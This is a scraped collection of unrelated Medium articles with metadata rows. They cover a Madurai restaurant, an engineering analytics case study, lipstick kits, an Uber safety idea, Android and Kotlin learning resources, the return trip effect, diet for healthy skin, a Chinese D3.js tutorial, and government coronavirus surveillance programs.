When I had taste of food at The South Indian Restaurant — Madurai, I was effectively pulled by the different menus, which reminded me of my brief time with other popular foods. Needless to say, if you’re zeal about new food items then The South Indian Restaurant — Madurai is one that is worth trying out. | https://medium.com/@southindianchettinadrestaurant/south-indian-restaurants-in-madurai-847c676288b8 | [] | 2020-12-17 05:52:53.715000+00:00 | ['Food', 'South Indian Food', 'South Indian Restaurant', 'Hotel', 'Madurai'] |
How We Increased Productivity 83%, Improved Remote Collaboration, and Prevented Burnout by Dogfooding Velocity | Photo by Mockupeditor.com
Thousands of happy customers validated our software– but dogfooding Velocity validated our values.
A couple of years ago, our engineering leaders were anecdote-driven, like just about everyone else in the industry. We knew how much progress an engineer had made on a new feature because we asked. We knew why we missed a deadline for launching a new feature because we discussed it in our retros.
But we couldn’t answer simple questions like:
Is our efficiency increasing or decreasing over time?
What work slows us down and where is the biggest opportunity to improve?
Which developers on my team are stuck, right now?
Even on a small development team, the insights that we had into our own productivity were limited.
Last year, we launched Velocity, an engineering analytics tool designed to help teams big and small with exactly the issue that we, ourselves, experienced. In the process of iterating and improving the platform, our Engineering Manager, Ale Paredes dogfooded our app. She used each feature from Velocity as soon as it was built and has experienced the benefits of data-driven engineering first-hand.
Armed with Velocity, she addressed burnout, improved remote collaboration, and helped restructure the engineering team. The result was an 83% increase in productivity, and a healthier, more engaged dev team.
Here’s what dogfooding Velocity has done for Code Climate.
We Ditched Flat and Near Doubled Our Efficiency
Flat structure doesn’t scale. There comes a point along every engineering team’s growth where the same set up that once built camaraderie and a shared purpose now fuels disengagement and a lack of focus.
Ale first started noticing that disengagement during daily standups. Some people were zoning out; others were on their phones. Almost no discussion was happening. It was 20 minutes of engineers taking turns speaking, one by one. When she brought this up in her 1:1s that week, she found that the team was in unanimous agreement: meetings were inefficient and taking up too much time.
Ale checked her hypothesis against the metrics by looking at Pushes per Day over the last 6 months.
A custom Velocity report Ale built to see how Pushes per Day has been affected as the team scaled.
Velocity gave her confirmation that the team’s efficiency had, in fact, been steadily decreasing over the past four months.
Ale took this insight back to the leadership team, and together, they decided it was time to ditch flat. Software development is inherently collaborative, and if engineers have too many co-workers to support, they can’t feel invested in one another’s work.
We decided to break up the ten-person team into groups of three or four engineers. We hypothesized that breaking up teams by Bezo’s 2-pizza rule would help individual engineers focus on less tracks of work. As a result, meetings would suck up less time and be more engaging, as smaller teams only hash out problems relevant to the few people involved.
When Ale implemented this change, the feedback was overwhelmingly positive. Engineers were doing more of what they liked (coding), and less of what they hated (meetings). Over the course of several months, the metrics corroborated what the team was feeling: we started moving much faster.
A custom Velocity report Ale built to see how Pushes per Day has increased since the re-org.
We went from an average of 12 pushes/day in November to an average of 21 pushes/day in January, an 83% increase.
We Coached Remote Team Members for Better Collaboration
Agile software development relies on strong communication, and, in many cases, frequent face time, so managing team members that are an ocean and three time zones away is nontrivial. It’s hard to perceive frustration through Slack. It’s hard to understand workload through Zoom.
Ale made a concerted effort to check in with remote team members and find out what’s going well and where they might be in need of coaching. But not everyone is an open book– many of her remote team members hesitated to bring up troublesome pull requests or bottlenecks during these meetings.
To find a starting point for these conversations, Ale started looking through a handful of contributor metrics on a weekly basis. She would pay particular attention to overall throughput (# of PRs merged), rework (how often developers work on their own recently merged code), and cycle time (how long it takes code to go from a developer’s laptop to being a merged PR).
By putting together a chart in Velocity, she started noticing a pattern. Remote developers had a significantly higher cycle time than HQ team members.
A custom Velocity report Ale built to see Median Cycle Time by team member.
Before a 1:1 with Legolas Greenleaf, Ale dug deeper into Velocity to see where, exactly, in the PR process contributors were getting stuck.
A Velocity chart that shows how contributors are performing on metrics compared to the industry standard.
Ale discovered that Legolas was spending a lot of his time working on code on his laptop before opening up a Pull Request and getting his work looked over.
The next time they sat down, Ale discussed the trend she noticed. The remote team member was able to speak more specifically about what has been slowing him down and what challenges he was facing. In their conversation, she guided Legolas towards learning how he could’ve better approached some of the last few PRs.
Together, they discovered the heart of the problem was that his PRs were too big. Splitting up projects into smaller pieces was a work habit that the HQ team had heard a ton, but the distance between Ale and the remote workers meant they weren’t aligned in terms of best practices. The data brought Ale’s attention to the problem, and gave her something objective to work off for her coaching sessions.
We Prevented Burnout in our Engineers
Meeting deadlines and building great products isn’t the only measure of a good team. We also want engineers to be engaged and not overworked so that our pace is sustainable. Too often, however, burnout is impossible to sniff out until it’s too late.
Last December, the team was on a tear. We were shipping features every other day, we had redesigned most of the pages in the application, and everyone was stoked about all the cool new stuff we were building. Everything seemed great.
During her weekly check-ins, however, Ale started noticing a trend.
Engineers were excited about their work, but everyone seemed to be feeling a lot of pressure to get features shipped– even though we were ahead of schedule. One senior engineer mentioned that he barely had time for code reviews. Other team members started neglecting pair programming in favor of spending more time getting stuff out the door.
Ale used Velocity to take a look at what the team had on their plate:
Velocity’s Activity Log showed leadership how much individuals were working.
She noticed that some developers had so much activity, it barely fit in their row. In a few cases, we were even pushing on weekends, which is highly unusual for our organization.
Looking through all the PRs and reviews the engineering team was churning out, Ale became suspicious that people were working overtime. She put together a report using Velocity’s Reports Builder to see how many pushes were made after 8pm each week:
Ale built a custom Velocity report to see who was working late hours.
During the last two weeks, the team had been working late hours more than they had in the previous three months combined. Ale brought this data to the leadership team and was able to successfully advocate scaling back work and giving the engineering team a well-deserved day off.
Now, Ale checks these dashboards regularly and sends out a monthly survey to check in on how work is distributed and how team members are feeling.
Measure and Mobilize
Metrics are not everything. Metrics didn’t help Ale notice that engineers were disengaged during meetings, or that remote team members weren’t voicing problems. Instead, metrics helped her check her intuition with more transparency into what’s going on. They also enabled Ale to verify that the changes she made generated an improvement in our productivity.
This gut-check was invaluable in helping us move faster and communicate better, both inside the engineering team and with the organization as a whole.
If you want to learn more on how Velocity can let you see deeper into your team’s work habits (and help you move at least 20% faster), sign up for a demo here. | https://medium.com/hackernoon/how-we-increased-productivity-83-improved-remote-collaboration-and-prevented-burnout-by-9f626a333dc1 | ['Code Climate'] | 2019-03-22 17:47:02.288000+00:00 | ['Metrics', 'Agile', 'Leadership', 'Software Development', 'Analytics'] |
The Best Lipstick Kits for Fall 2021 | Why settle for just one lipstick when you can grab a kit that gives you the full package for your lips? Sorting through hundreds and hundreds of lipstick kits from different brands sounds impossible, but below is a compiled list of three of the best lipstick kits you can currently get, that would give you that gorgeous look you’re aiming for the coming season.
Makeup Forever — Trio Nude Kit
If you know good lipstick, then you know how good Rouge Artist lipsticks actually are. This lipstick blends, softens, and keeps your lips hydrated by combining the comfort of a cream with the intensity of a matte color. With just one swipe, you get a smooth, feather-like application on your lips thanks to the way the lipstick was designed which accurately replicates a lip brush for the best precision.
Rouge Artist provides an ultra-pigmented and satin-finish with a smooth application on the lips and up to 24 hours of hydration and comfort for your lips, and you’re not getting just one, not two, but three of them of different colors in this Makeup Forever lipstick kit.
Huda Beauty — Contour & Strobe Liquid Lip
Another gorgeous kit! The lipsticks in this set can be used on their own or combined for a vibrant finish, and they’re also great for creating an ‘ombré’ effect to give the illusion of bigger lips. To correctly use this kit to its full potential, grab the lipsticks and start by lining your lips with the Lip Contour, then fill them in with the Liquid Matte hue, and finish up that mesmerizing look by applying the high-shine lip strobe.
I love these color combos because they combine well with each other to give you the look you desire. This set makes it easier for people to get that perfect lip contour and keep an eye on that lip strobe effect that gives your lips a neatly sculpted and volumized look.
NARS — Mini Velvet Matte Lipstick Pencil Duo
This lipstick kit from Nars delivers rich, vibrant colors and a velvety-matte finish on the lips. Its large size combines the ease of use of a lipstick with the portability of an artist pencil. Lip lining, defining, and filling have never been easier to do!
You may use it as a tinted base or pair it with another lip product to create volume by blending the colors. This lip pencil is excellent for making a lip statement, and the best part is that you choose if you want that statement to be delicate, neutral, strong, or edgy!
Using these as a basis for any other lip product will make your lipstick last longer, and would prevent it from smudging plus they’re really easy to put on, and you can even sharpen it once it runs out and there you go, you’re back to making a statement again! | https://medium.com/@Zeina.farhat/the-best-lipstick-kits-for-fall-2021-773a2ba2b67b | ['Zeina Farhat'] | 2021-11-29 11:44:11.789000+00:00 | ['Makeup Tips', 'Lipstick', 'Makeup', 'Fall', 'Makeup Products'] |
Product: Uber. What I like ? | What I like ?
Company’s Vision Statement and how apt it is : “Transportation as reliable as running water, everywhere for everyone” . Uber does set the world in motion. What else does one want other then tapping a button and requesting a ride home, safe and reliable.
When I first used an Uber to commute from A to B, 6 years ago, I was so impressed. With the tap of a button I had a driver in less than 5 minutes waiting to pick me up. I was so excited about the convenience that it started to be a goto product every time I had to commute.
I visited India in 2019 and I was amazed by their presence. I realized the app was growing worldwide making everyones life easier.
Every time I traveled via Uber, I always wondered how safe it really was. I kept re-reading the safety protocols and I now know it at the top of my head; they do have great checks in place for sure- drivers background checks, emergency help when you need it, RideCheck to look out for you. With that in my mind the other day I thought of a new feature that Uber can introduce for the safety of their passengers.
My new product thoughts on RideCheck/ Emergency Help?
Imagine you do not have enough battery on your phone. Imagine you are unable to call/request for 911 through the Uber app. Imagine the car is in the right course and has not triggered any deviated route alert and you need “HELP”. During this time, how about a small device in the car that is video enabled helping to track the activity in the car. When the device is turned off- the driver will not have the ability to drive a new passenger home. And on your journey, assume this video device was turned off by the driver when the ride was ongoing. The driver will have 30 seconds before Uber reaches out to them and asks them about the device connectivity. He will further only have another 45 seconds before the car is stopped by an Uber authoritative security official. Does these extra checks make you feel more secure? What are your thoughts?
Safety Concerns of Video Capture
Lets discuss this on a separate article as this needs more thought to it.
“Safety does not come by luck, it comes prepared” | https://medium.com/@sonalsaripalli4/product-review-uber-1b5d0698140d | [] | 2021-08-10 01:02:31.544000+00:00 | ['Uber', 'Product', 'Security Camera', 'Product Management', 'Safety'] |
The Most Helpful Resources From My First Year in Android | The Most Helpful Resources From My First Year in Android
Learning Android development in 2021? Start building your new Android skill set here & save yourself a few errant Google searches Darryl Mak Follow Dec 14, 2020 · 7 min read
It’s that time of year where thoughts turn to new years resolutions. Where do you want your career to go in 2021? What new project are you looking to work on on the side? What new skills do you want to look into? If you’re intrigued by the idea of learning Android development or using Kotlin, then you’ve come to the right place! While there are a plethora of online resources and articles available for Android development, it can be difficult for new learners to figure out which ones will help them the most. Since starting my professional career at Capital One, I’ve gotten the wonderful opportunity to work on one of our mobile teams as an Android developer. This team fully committed to using Kotlin as their primary programming language and had been building commercial products in Kotlin for a few years now. Prior to Capital One, I had very limited exposure to Android and the Kotlin programming language, so there were a ton of things I had to learn along the way as I delved into the world of mobile development. I’ve collected some of my favorite blog posts, articles and resources and am sharing them with people who are interested in learning more about Kotlin and Android development in 2021!
I still find myself coming back to these resources every once in a while to reaffirm the things I learned, and pick up new nuggets of information along the way. If you want to learn more about Android development and Kotlin online, I’ll save you a few Google searches and recommend a few places to start! If you are interested in using Java to do Android development, I’ve included a few resources that use Java rather than Kotlin, but this article is biased towards Kotlin. Even if you’re going to use Java to write your Android apps, keep reading to learn about what Kotlin offers as a programming language and maybe I can convince you to try it out!
Learning the Basics of Android Development
Everyone has to start somewhere! If you’ve just downloaded Android Studio and are looking to get started on your first Android project here are a few places that I used to get the basics down. These resources are completely free are packed with great information:
Android Kotlin Fundamentals — In my opinion, an experienced programmer looking to dive deep into Android very quickly should start here. Not only are you introduced to the fundamentals of Android development, but you’re also introduced to all the modern Google libraries and tools as well. The course material is broken down into easily consumable modules, which makes it really easy to pick up and learn! There are also new codelabs that cover Android Compose, the new UI toolkit for Android that is quickly approaching a stable release and will be adapted very soon.
Android Basics on Udacity — If you’re on the newer side of programming, or just like going at a slower and more deliberate pace, consider this course! Note that this course is in Java whereas most of the other resources will be in Kotlin.
Capital One Software Engineering Summit Android Workshop — I helped my coworker Nick Capurso run his Android workshop for the Capital One Software Engineering Summit, and it’s a great, simple hands-on introduction to Android! The instructions for the hands-on workshop are fully detailed in the Github repo and a great way to try out Android. This project is also in Java.
Learning to Write Kotlin
Kotlin is an awesome programming language with tons of interesting features and advantages. While Kotlin has been used primarily for Android development, people are starting to use Kotlin outside of Android as well! These articles highlight some of Kotlin’s interesting nuances. Also, the official Kotlin documentation is very well-written and covers all the important topics needed to get you started.
Koans — Kotlin Koans a simple way to start getting familiar with Kotlin syntax and language features! Koans are interactive exercises and allow you to practice writing Kotlin directly in the browser.
Using let, apply, run, and with — Kotlin’s support of high-order functions introduces a few great Kotlin library functions that let you write cleaner code. It’s one of those features in Kotlin that you start to miss when you go back to programming in a different language.
Safe calls vs null checks — Null safety is a primary feature of Kotlin. With some practice and the right tools, Kotlin lets you write null-safe code quite easily.
Higher-order functions — When I was first reading Kotlin code, I found the usage of higher-order functions and lambda expressions difficult to parse and understand. But they’re incredibly useful and worth learning! It definitely takes some practice, but taking advantage of higher-order functions in Kotlin can help you write code that is robust but still concise.
Learning Asynchronous Programming in Kotlin
To me, Kotlin’s most interesting features revolve around structured concurrency. There are some amazing resources available that explain coroutines, channels, and Flow in a way that is easily consumable. Managing concurrency will save you tons of headaches down the road, and structured concurrency adds a layer of abstraction to your code that will make it easier to manage.
Diving Into Coroutines and Channels — This might be my favorite article in this list, it does a great job introducing the basics of coroutines and channels using a coffee shop example.
Kotlin Concurrency with Actors — A great introduction to actors and how they can be used to support concurrency.
No Drama Concurrency with Kotlin Actors — Also a great introduction to actors that covers similar material to the last article (written by Sam Edwards, who also is a part of the Capital One mobile team) . It also includes a video presentation as well!
Asynchronous Data Streams with Kotlin Flow Presented by one of the Kotlin tech leads at KotlinConf 2019, this video does a great job explaining how Flow improves the previous methods of sending data.
Android Architecture Patterns
Architecture patterns make app development easier by providing consistent patterns designed to solve common problems in development. When I was first learning Android, I found some common architectural patterns for mobile to be a little difficult to wrap my head around, especially as someone who was still getting used to reactive programming. A few of these articles help make sense of these, with practical examples!
MVWTF: Demystifying Architecture Patterns — This article provides a quick overview of multiple modern Android frameworks, showing the advantages and disadvantages of of each one
Android MVI: Getting Started — A thorough explanation of the MVI architecture pattern that is very easily consumable
MVI with Coroutine and Flow — A simple explanation of how we can use what we learned about coroutines and Flow within the MVI architecture.
Other Resources That Are Helpful and Worth Reading
There is so much more to Android development than the things I mentioned above. These articles don’t quite fit any of the categories above, but I found them to be valuable and worth reading!
Android Accessibility Tutorial — Developing for accessibility was something I wasn’t exposed to very much during my studies, but I’ve really grown to appreciate the effort some development teams put into making sure their apps can be used by everyone. Accessibility is incredibly important and shouldn’t be ignored by anyone learning Android for the first time.
Wrapping Mock Objects — If there’s anything I learned in my first year in the industry, it’s that writing effective tests takes time, effort, and can be a huge undertaking. However, subtle changes to our approach can make tests much easier to write and manage.
Replacing Mocks — Writing great tests is truly an art form, and there’s multiple ways to do it. This article offers an alternative solution to organizing mocks by eliminating them all together.
Android Networking with Kotlin — A long, in-depth look at effective networking in Kotlin using the Retrofit library.
Follow the DC/Nova Dev Community — If you are based in Washington DC or Northern Virginia, consider following the Dev Community! The Dev Community is made up of a family of tech Meetup groups that span a wide variety of areas in tech, including Android and other topics related to mobile development. They provide great opportunities to learn something new and to network with other great engineers in the area!
Putting it All Together
To the new developers looking to make the leap into Android development, there’s nothing to be intimidated by! The Android and Kotlin communities are strong and proactive, and there are so many active contributors who can help you learn and grow in this space. Happy learning and a happy 2021! | https://medium.com/capital-one-tech/the-most-helpful-resources-from-my-first-year-in-android-capital-one-44ba2f9e31a2 | ['Darryl Mak'] | 2020-12-15 19:09:47.697000+00:00 | ['Android App Development', 'Kotlin Beginners', 'Android', 'AndroidDev', 'Kotlin'] |
Why Does the Way Back Always Feel Shorter? | What a psychological phenomenon can teach us about expectations and living a happier life.
I’m not sure about you, but I’ve always been curious about the phenomenon of the “return trip effect” — the perception of a return trip taking less time than the initial trip despite being equal in distance and time.
I’ve noticed this many, many times in my life. Whether it’s something physical like hiking or walking, or something more mental like long-haul flights or car rides, it just seems like “time flies” much faster on the way back.
My Recent Experience with the Return Trip Effect
I’ve recently started running, and I go the exact same “out-and-back” route every time. The route starts at my house, goes onto a bike trail and eventually takes me through a tunnel to a neighboring town. I’ve been adding a little bit of distance every time, but I’ve noticed that the first half of the run always seems longer and harder than the second half.
I used to think that familiarity played a big role in this — I figured the trip felt longer because I was using a lot of processing power to take in my surroundings on the way there, but didn’t need to process as much on the way back because I was now familiar with the route.
But I’ve been running the same route every time! And I’ve noticed return trips seeming shorter in situations even when I’m already familiar with the route. So how does that make sense?
Upon further research (namely this 2011 study on the Return Trip Effect), familiarity with the route is actually not the main reason we think the return route is shorter. It actually circles back to the expectations we had before the trip even begins.
Humans have a habit of constantly underestimating how long things take, so we will often expect the initial trip to be shorter than it is. We’ll say, “Ah, this trip should go pretty quickly!”
And when that trip is inevitably longer than we expected, we say: “Gee whiz, that was a long trip!”, even though it was only long because we thought it would be short.
Now we have more realistic expectations for the return trip, and thus experience it as being shorter than the initial trip.
But the only difference was our expectation going into each leg of the trip. A simple shift in expectations can completely change the way we experience time in virtually identical situations. That’s crazy!
Expectations Can Shift Reality
I thought this was pretty interesting because it takes this whole idea from “Hmm, it’s interesting that return trips always seem shorter” to “Wow, our expectations can completely shift the way we perceive time itself”.
It really demonstrates the power that expectations have on our perception of reality!
Expectations help us to better understand and predict what will happen in the world around us. When we put coffee grounds into the coffee maker, fill it with water, and press “Start”, we expect a pot of coffee to be brewed. When we say “Thank you”, we often expect a response like “You’re welcome”. Without any expectations, we’d be walking around in a continual state of surprise at everything that happens. That would be unbearable!
But I think expectations become problematic when we become emotionally invested in them. I’m actually experiencing this right now!
I’m graduating in a couple weeks and I’m currently job hunting pretty hard. I’ve already had three situations where I was fully expecting to get to the next stage of the process. I thought I had the perfect background and felt I was a “no-doubt” top candidate for each one. I was rejected for all three. And each time I became extremely discouraged, almost physically feeling my soul get crushed a bit each time. And each time it took me one or two days to get back on the horse again.
Those negative reactions were purely a result of my high expectations and my relationship to them. I believed that I knew what should happen and what would happen, and I became emotionally invested in that outcome.
Expectations are nothing more than an educated guess, a way for your mind to predict what is going to happen in a given situation. We get into trouble when we take our expectations as concrete realities and become emotionally invested in them. The more we buy in to our own expectations, the more emotional pain we feel when they don’t align with reality.
If I had tempered my expectations and trusted that whatever happened was meant to happen, I would likely have been slightly disappointed, assessed what I could have done better, and went on with my day. But my expectations instead led to a reality that was so different from what I expected that I was thoroughly nonplussed by the situation — confused, angry, and discouraged enough to stop applying to jobs for the day. In both scenarios, the world around me was completely the same — I was sitting at my desk, reading a rejection email. But the different relationship with expectations created two wildly different realities for myself — one far less pleasant than the other.
How Can We Use This?
We’re never going to completely stop believing and emotionally investing in our expectations. We will always be disappointed when things don’t go how we wanted. We will always try to predict the future and then express bewilderment when our predictions are inevitably wrong. But what we can do is try and become conscious of our relationship with our expectations.
I’m currently in the final interview stage for a position that I want very badly. The first interview was the best interview I’ve had in my life and it would truly be a dream first job out of college. But I’m trying to learn my lesson from previous disappointments.
I’m telling myself: “If you don’t get this, it’s because it’s not the right opportunity for you at this point in your life. It may seem like it is, but it’s not up to you to decide that. And you couldn’t even if you wanted to! The right opportunity will present itself at the right time.”
I firmly believe this. And even if I didn’t, what other option is there? We can only do our best and trust that things will work out.
In my research for this post, I came across this parable from a Thai Buddhist master named Achaan Chaa:
“You see this goblet?” “For me, this glass is already broken. I enjoy it; I drink out of it. It holds my water admirably, sometimes even reflecting the sun in beautiful patterns. But when I put this glass on the shelf and the wind knocks it over or my elbow brushes it off the table, and it falls to the ground and shatters, I say, “Of course.” When I understand that the glass is already broken, every moment with it is precious.”
After writing this post, I’m hoping to operate in the world with a more manageable, less emotional relationship with my expectations. I want to live my life like I’m always on the way back, free of the unrealistic expectations and stress of the first leg of the journey. I want to experience reality as authentically as possible, and that means doing what I can to prevent it being distorted and warped by my expectations of what should and will happen.
I want to try and treat my life like the teacher treats the goblet in the parable—understanding that even my expectation of being alive the next day is never fully guaranteed and that each moment is precious. | https://medium.com/@tylerbullock/why-does-the-way-back-always-feel-shorter-8310cf73b44d | ['Tyler Bullock'] | 2020-12-29 20:19:03.580000+00:00 | ['Job Search', 'Perception', 'Personal Development', 'Psychology', 'Expectations'] |
4 Foods for healthy skin | 4 ways to achieve great skin naturally
You are what you eat — many of us have heard this phrase, at least once in our lives, and it’s quite true. There’s a direct correlation between the food we eat and the way our bodies function. Diets lacking in essential nutrients can lead to a host of skin disorders and also a decline in overall health. Although there are many over-the-shelf solutions to help fix your skin temporarily, a sustainable change is only achieved through a healthy, balanced diet.
Here are the top four diet fixes that will help restore the natural glow of your skin:
Eat foods rich in Probiotics
The gut consists of trillions of bacteria, both good and bad. However, the overgrowth of bad bacteria can lead to gastric distress and other disorders. A gut inflamed for a prolonged period can also adversely affect the skin, leading to issues like acne, pimples, redness, etc. This is where Probiotics come in.
Probiotics are live bacteria that help improve the quality and quantity of good microorganisms in your gut. A balanced gut flora will naturally result in better-looking skin that glows. Foods like fermented yogurt, cheese, and sauerkraut are rich in probiotics.
Sometimes, even simple home methods are effective for tackling skin issues like acne, pimples, redness, etc. but if self-care remedies fall short, it is advisable to visit a Dermatologist. You can find some of the best skin specialists at Hinduja Hospital Khar in Mumbai. To book an appointment, visit the hospital’s website.
Oils
High-quality oils like cold-pressed extra-virgin olive oil and avocado oil are all loaded with essential fatty acids that help restore your skin’s natural beauty and elasticity. These oils are rich in Monounsaturated Fatty Acids (MUFA) which help reduce inflammation, along with promoting a range of other health benefits. Foods like Avocado, Walnuts, Almonds, etc. are rich sources of MUFA oils. Just keep in mind, moderation is the key.
Fish
Fish are abundant in Omega 3 Fatty Acids and contain eicosapentaenoic acid (EPA) and docosahexaenoic acid (DHA) that are well-known for countering inflammation and improving immunity. Chronic inflammation is one of the many causes of skin allergies.
Seafood is an excellent source of vitamin E, one of the most potent antioxidants for your skin. Along with being a good quality source for protein, fish is also rich in minerals like Zinc, another great ingredient for the skin. Thus, an adequate addition of fish in your diet is highly advisable. For vegetarians, algal oils can serve as great substitutes.
Leafy Greens
Remember your grandmother forcing you to finish all the greens on your plate? She knew best. Leafy vegetables like spinach, broccoli, kale, etc. are loaded with antioxidants. These antioxidants help suppress the harmful effects of Free Radicals in the body that, if in excess, can lead to various skin and health ailments. These veggies also provide the body with vitamin A, which is good for avoiding dry, flaky skin and vitamin C that is also a potent antioxidant, like vitamin E. Besides this, they are also rich in certain phytonutrients that help prevent diseases and are great for overall health.
Water
Even the best of foods will fail to work if the body is not sufficiently hydrated. This is because 60% of the human body is made up of water. If your body is dehydrated, it can result in dull, flaky skin and cause itchiness and sunken eyes. Water is essential for carrying out a host of other functions like regulating body temperature, assisting in the process of digestion, transporting nutrients, etc. Thus an adequate intake of water is vital. On the other hand, it’s important to avoid caffeinated drinks in excess — tea, coffee, cold drinks, etc. as they hasten the process of dehydration.
Partaking in a healthy, balanced diet, consisting of all these components, will not only lead to healthy skin but also boost your immunity. And right now, a robust immune system is quite essential. So, eat right and see the difference in your skin and overall health.
Written by Dr.Sadhana Deshmukh, Consultant Dermatology at Hinduja Hospital, Khar. | https://medium.com/@HindujaHospitalkhar/4-foods-for-healthy-skin-95017a609b30 | ['P. D. Hinduja Hospital Khar'] | 2020-11-23 11:55:04.924000+00:00 | ['Healthy Foods', 'Foods For Healthy Skin', 'Skincare', 'Food And Health'] |
D3.js 資料視覺化工具(上) | D3 基本用法
開始學習前，先引用好 d3 library，並在 js 檔案中輸入 console.log(d3)
點擊瀏覽器開發者工具，查看一下：
d3 (object) helper methods
上方密密麻麻都是 d3 object 內建提供的 helper methods！
✨ D3 — 選擇 ( D3 Selection )
把 D3 library 引用到 HTML 頁面中，即定義了一個全局 JavaScript 對象 d3。而操作之前，需要先做選擇動作。
d3.select('css-selector')
根據指定的 css-selector 返回 HTML 文檔中第一個匹配的元素
d3.selectAll('css-selector')
根據指定的 css-selector 返回 HTML 文檔中所有匹配的元素
有關 css-selector 可以是節點、id、class…等，詳細可以參閱說明 🔍
✨ D3 — DOM 操作( DOM Manipulation )
先做了選擇動作後，接著要操作，以下為常見的操作方法：
text('content')
獲取或設置被選元素的文本
append('element name')
在所選元素內，但在所選元素的末尾之前添加一個元素
insert('element name')
在被選元素中插入一個新元素
🔖 補充說明
1.insert可以指定將新元素插入在什麼位置，而append只能將元素添加在末尾!
2.append()&insert()只是新增空的標籤而已, 必須再呼叫text()或html()加入內容才看得到。
remove()
從 DOM 中移除指定的元素
html('content')
獲取或設置被選元素的內部 HTML
attr('name','value')
獲取或設置所選元素的屬性
property('name','value')
獲取或設置所選元素的屬性
style('name','value')
獲取或設置被選元素的樣式
classed('css class',bool)
從選擇中獲取、添加或刪除一個 css class
✨ D3 — 方法鏈 ( Method Chaining )
D3 提供方法鏈，將第一個方法的輸出作為輸入，傳遞給鏈中的下一個方法。原始寫法舉例如下：
var bodyElement = d3.select("body"); var paragraph = bodyElement.append("p"); paragraph.text("Hello D3!");
可以使用方法鏈簡化寫成：
d3.select("body").append("p").text("Hello D3!");
✨ D3 — 資料函式 ( Function of Data )
前面提到的 DOM 操作，函數可以接受值或函式作為參數。以函式作為參數稱會是匿名函式形式。以 text() 作為範例如下：
.text(function(d) {
return d;
});
除了代入參數，也提供 index：
.text(function (d, i) {
console.log(d); // the data element
console.log(i); // the index element
console.log(this); // the current DOM object
return d;
});
延伸運用也提供了動態屬性，舉例如下：
<p>Error: This is error.</p>
<p>Warning:This is warning.</p> <script>
d3.selectAll("p").style("color", function(d, i) {
var text = this.innerText;
if (text.indexOf("Error") >= 0) {
return "red";
} else if (text.indexOf("Warning") >= 0) {
return "yellow";
}
});
</script>
✨ D3 — 事件處理 ( Event Handling )
on() 方法為所有選定的 DOM 元素添加一個事件偵聽器。第一個參數是事件類型，第二個參數是事件發生時執行的回調函數，並可以指定第三個可選參數捕獲標誌。語法如下：( Type 是事件名稱，listener 是事件監聽器)
d3.selection.on(type[, listener[, capture]]);
selection.on()
添加或刪除事件偵聽器以捕獲事件類型，如單擊、鼠標懸停、鼠標移出等
selection.dispatch()
捕獲事件類型，如 click、mouseover、mouseout
d3.event
事件對象，用於訪問標準事件字段，例如時間戳或 preventDefault 等方法
d3.mouse(container)
獲取指定 DOM 元素中當前鼠標位置的 x 和 y 坐標
d3.touch()
獲取容器的觸摸坐標
詳細可以參閱說明 🔍
✨ D3 — 動畫 ( Animation )
selection.transition() 為所選元素安排轉換
transition.duration()
指定每個元素的動畫持續時間(以毫秒為單位)
transition.ease()
緩動指定緩動函數，如：linear、elastic、bounce | https://medium.com/@jacychu/d3-js-%E8%B3%87%E6%96%99%E8%A6%96%E8%A6%BA%E5%8C%96%E5%B7%A5%E5%85%B7-%E4%B8%8A-6cc4040b50d3 | ['Jacy Chu'] | 2021-08-11 03:04:01.016000+00:00 | ['JavaScript', 'D3js', 'Frontend'] |
We Mapped How the Coronavirus Is Driving New Surveillance Programs Around the World | As of March 25, the Ministry of Health had built a mandatory app for those entering the country to keep installed for 14 days, which requires users to give access to location data.
It’s not clear if the government is actively tracking people with that location data, but the province of Santa Fe is allegedly forcing those who have violated quarantine to download an app that specifically tracks their whereabouts.
Those ordered into quarantine could have government surveillance devices installed in their homes or be forced to wear electronic surveillance devices, according to a new law in the state of Western Australia as of April 1.
However, the Australian government has opted not to use cellphone-based location tracking.
An Austrian telecom gave two days’ worth of anonymized location data to the government in order to analyze movement in the country, as of March 17. The data is reportedly unable to be analyzed in groups of fewer than 20 people.
As of April 8, the small country of Bahrain has started using electronic bracelets connected to a mobile app to track confirmed cases of the coronavirus, similar to an initiative in Hong Kong. The punishment for being caught breaking the quarantine is a potential prison sentence of at least three months, according to MobiHealthNews.
As of March 31, three telecoms in Belgium are giving data to a company called Dalberg Data Insights, which is analyzing the information to detect widespread trends of movement in the country.
The country is using drones to make announcements, but may also be using the devices to capture surveillance footage, according to Top10VPN’s Digital Rights Tracker.
Local governments across Brazil are tracking location data from citizens’ smartphones, as of March 27. The city of Recife alone is tracking 700,000 people’s locations through their personal devices, and it’s one of Brazil’s smaller metropolitan areas.
Most of this tracking is being done by Brazilian startups working in conjunction with governments.
“We have visibility of certain behaviors that couldn’t be captured by other technologies. For example, if an individual leaves their house, we can detect that in a matter of seconds,” the CEO of one Brazilian firm told Brazilian news site Mobile Time.
Ontario police have access to a government database of people who have tested positive for the coronavirus, including personal information like names, addresses, and birthdays, according to an April 24 Vice report.
“Protecting the health of communities and first responders is rightly a priority,” the Canadian Civil Liberties Association said in a letter to the Canadian government. “Providing personal health information directly to law enforcement, however, is an extraordinary invasion of privacy.”
China has been using practically every surveillance system in its toolbox since at least February: Authorities are tapping publicly located cameras to run facial recognition searches, citizens are being location-tracked through their phones, and drones are being put to use in order to give directions from the government, according to CNBC.
The Chinese government is also tracking individuals in more than 200 cities through a smartphone app that grades their health and assigns them a classification of green, yellow, or red, according to the New York Times. The app sends that data to the police and works as a hall pass for entry into certain public places. Travel to designated hot spots, contact with an infected person, or reported symptoms in the app can result in red and yellow designations, which restrict a person’s movement. How to remove that designation, as well as exactly how those decisions are made, is unclear.
China is also putting pressure on private companies in the country to hand over data to further contain the pandemic.
Surveillance cameras are being installed inside the homes of people living in China under mandatory quarantine, as well as outside people’s front doors, according to CNN.
Cameras typically used to catch speeding motorists in Dubai will analyze drivers’ license plates and determine whether they are deemed essential workers as of April 6, according to Gulf News.
The system allegedly tracks drivers throughout their entire trip and will know whether or not the route they take is to their job.
Ecuador is tracking the location of cellphones nationwide to curb the spread of the virus and enforce the country’s 9 p.m. curfew, according to a March 17 report from EcuadorTV.
As of April 11, Swedish telco Telia has given anonymized phone location data to the Finnish government for analysis of user movement in the country.
More than 140 French cybersecurity and privacy experts signed a letter on April 26 warning the public and authorities about the risks of an expected contact tracing app.
“All these applications involve very significant risks with regard to respect for privacy and individual freedoms. One of them is mass surveillance by private or public actors,” the experts wrote.
The French government’s app is called Stop Covid, and will not be compulsory.
Security cameras in the Paris metro system are now capable of detecting whether people are wearing masks or not. Startup DatakaLab, which built the technology, says it’s not meant for tracking individuals but instead for gathering data on mask adoption.
